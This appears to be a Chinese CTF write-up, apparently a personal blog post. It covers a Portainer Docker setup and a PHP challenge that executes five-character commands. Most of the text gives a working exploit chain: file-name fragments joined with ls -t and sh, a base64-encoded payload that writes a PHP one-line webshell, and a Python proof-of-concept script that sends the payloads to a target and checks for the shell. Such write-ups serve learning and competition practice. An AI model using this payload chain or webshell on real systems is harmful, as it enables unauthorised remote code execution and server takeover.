复现题目的时候写进去了很多东西,这些文件又有反斜杠,删也删不掉(可能是因为我太菜了我不会),就想着能不能整一个docker的图形化界面(懒是第一生产力)
一个轻量级图形化管理
在Ubuntu里面使用浏览器访问,http://127.0.0.1::9000,设置密码就可以进入仪表盘了
参数换为c,回显不同的界面,点击help出现源码
<?php $sandbox = '/var/www/sandbox/' . md5("easy" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['helpme'])) { highlight_file(__FILE__); } if (isset($_GET['ret'])) { @exec('/bin/rm -rf ' . $sandbox); } if(strlen($_GET['c']) <= 5 && isset($_GET['c'])) { @exec($_GET['c']); } else { die('Too Long!'); }会在var/www目录下创建easy+ip地址的并且md5加密的文件名
表示发出请求的远程主机的 IP地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP
五字符执行,之前在T-STAR里面见过七字符的,但是没有整出flag,思路还是一样的
创建文件
ls -t根据时间从晚到早输出
sh 将文件里面的东西当作命令执行
反斜杠\可以命令拼接
dir不换行输入到文件中
${IFS}代替空格
payload #ls -th >f写入0文件,后期传入payload时,通过sh执行0文件即可生成f文件,sh再去执行f文件即可得到一句话木马
dir f> ht- sl *>v rev *v>0 #使用base64编码的一句话写入1.php文件,其中${IFS}替换空格 a hp p\ 1.\ >\ -d\ \ \ 64\ se\ ba\ |\ 7\ Sk\ X\ x\ Fs\ FV\ d\ X0\ k\ g\ bC\ h\ XZ\ gZ\ A\ aH\ w\ D9\ P\ S}\ IF\ {\ $\ o\ ch\ e\ #ls先执行0文件(ls -th >f),得到f文件,sh再去执行f文件就可以得到1.php sh 0 sh f
POC
#!/usr/bin/python #-*- coding: UTF-8 -*- import requests url = "http://192.168.0.132:1000/?c={0}" print("[+]start attack!!!") with open("payload.txt", "r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) # 检查是否攻击成功 test = requests.get("http://192.168.0.132:1000/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!")使用蚁剑链接即可 这个里面有一个坑,要在html文件夹下面存在sandbox文件,并且有写入的权限,这也是为啥我写的文件只有1. 没有后缀的原因,唉 菜死了
